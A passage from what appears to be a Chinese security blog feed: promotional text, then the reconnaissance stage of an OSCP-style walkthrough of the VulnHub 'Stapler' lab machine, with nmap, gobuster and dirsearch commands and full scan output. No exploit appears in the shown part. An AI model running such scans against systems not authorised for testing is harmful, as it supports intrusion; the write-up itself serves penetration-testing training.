 Privilege escalation :milestone, b2, after b1, 2026-03-14 15:13&lt;/pre&gt;&lt;p&gt;After speed-running the machine on the 14th, I spent the following days reviewing it in depth — the more you dig into this machine, the more there is to find. Kept going all the way until 13:47 on the 16th.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;Want more cybersecurity and programming content?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Follow the &lt;strong&gt;LongYuSec-Jing&amp;rsquo;an&lt;/strong&gt; public account. We explore cutting-edge technology together and share practical learning resources and tools. We focus on in-depth analysis — no fluff, only the most practical technical content! 💻&lt;/p&gt;
&lt;p&gt;Join us now and grow together! 🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;Long-press or scan the QR code to follow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Reply with keywords from the article to get more technical materials and book recommendations! 📚&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;Recommended Reading&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/QRTeAozyaSiX_M7QCXl8Mw" target="_blank" rel="noopener"
 &gt;Day 1: What is OSCP, How to Register and How to Prepare&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/eCujJbL37LpRVQwkJqRZUA" target="_blank" rel="noopener"
 &gt;OSCP/OSEP One-on-One Private Tutoring: Guaranteed Path to Advanced Penetration Testing Expert&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://mp.weixin.qq.com/s/OHfDWWZW2OteI1Bzdj9QsQ" target="_blank" rel="noopener"
 &gt;CyberSec: Obsidian Knowledge Base for Security Professionals&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;center&gt;
 &lt;img src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/QRcode_g1%20(1).jpeg" style="width: 100px;"&gt;
&lt;/center&gt;</description></item><item><title>OSCP官方靶场-Stapler-WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-stapler-wp/</link><pubDate>Sat, 14 Mar 2026 11:11:29 +0800</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-stapler-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-Stapler-WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场或链接地址下载虚拟镜像：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/stapler-1,150/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/stapler-1,150/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.165
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.198.148 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://192.168.223.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.198.148/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;21,22,80,139,3306
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 23:17 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.67s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp vsftpd 2.0.8 or later
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ftp-anon: Anonymous FTP login allowed &lt;span class="o"&gt;(&lt;/span&gt;FTP code 230&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_Can&lt;span class="s1"&gt;&amp;#39;t get directory listing: PASV failed: 550 Permission denied.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ftp-syst:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; STAT:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; FTP server status:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Connected to 192.168.45.165
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Logged in as ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; TYPE: ASCII
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; No session bandwidth limit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Session timeout in seconds is &lt;span class="m"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Control connection is plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Data connections will be plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; At session startup, client count was &lt;span class="m"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; vsFTPd 3.0.3 - secure, fast, stable
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_End of status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.2p2 Ubuntu &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http PHP cli server 5.5 or later
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: &lt;span class="m"&gt;404&lt;/span&gt; Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql MySQL 5.7.12-0ubuntu1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; mysql-info:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Protocol: &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Version: 5.7.12-0ubuntu1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Thread ID: &lt;span class="m"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Capabilities flags: &lt;span class="m"&gt;63487&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Status: Autocommit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Salt: w3/ &lt;span class="se"&gt;\x&lt;/span&gt;07&lt;span class="se"&gt;\x&lt;/span&gt;1D7&lt;span class="se"&gt;\x&lt;/span&gt;03o?&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;1C&lt;span class="se"&gt;\x&lt;/span&gt;01&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;05&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;1CJ*&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;04&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Auth Plugin Name: mysql_native_password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 - 4.4 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.16 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.4 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;4&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Host: RED&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_nbstat: NetBIOS name: RED, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; &lt;span class="o"&gt;(&lt;/span&gt;unknown&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ message_signing: disabled &lt;span class="o"&gt;(&lt;/span&gt;dangerous, but default&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; OS: Windows 6.1 &lt;span class="o"&gt;(&lt;/span&gt;Samba 4.3.9-Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Computer name: red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; NetBIOS computer name: RED&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Domain name: &lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; FQDN: red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ System time: 2026-03-14T03:18:42+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; 3.1.1:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_clock-skew: mean: 0s, deviation: 2s, median: -1s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; date: 2026-03-14T03:18:39
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 150.85 seconds
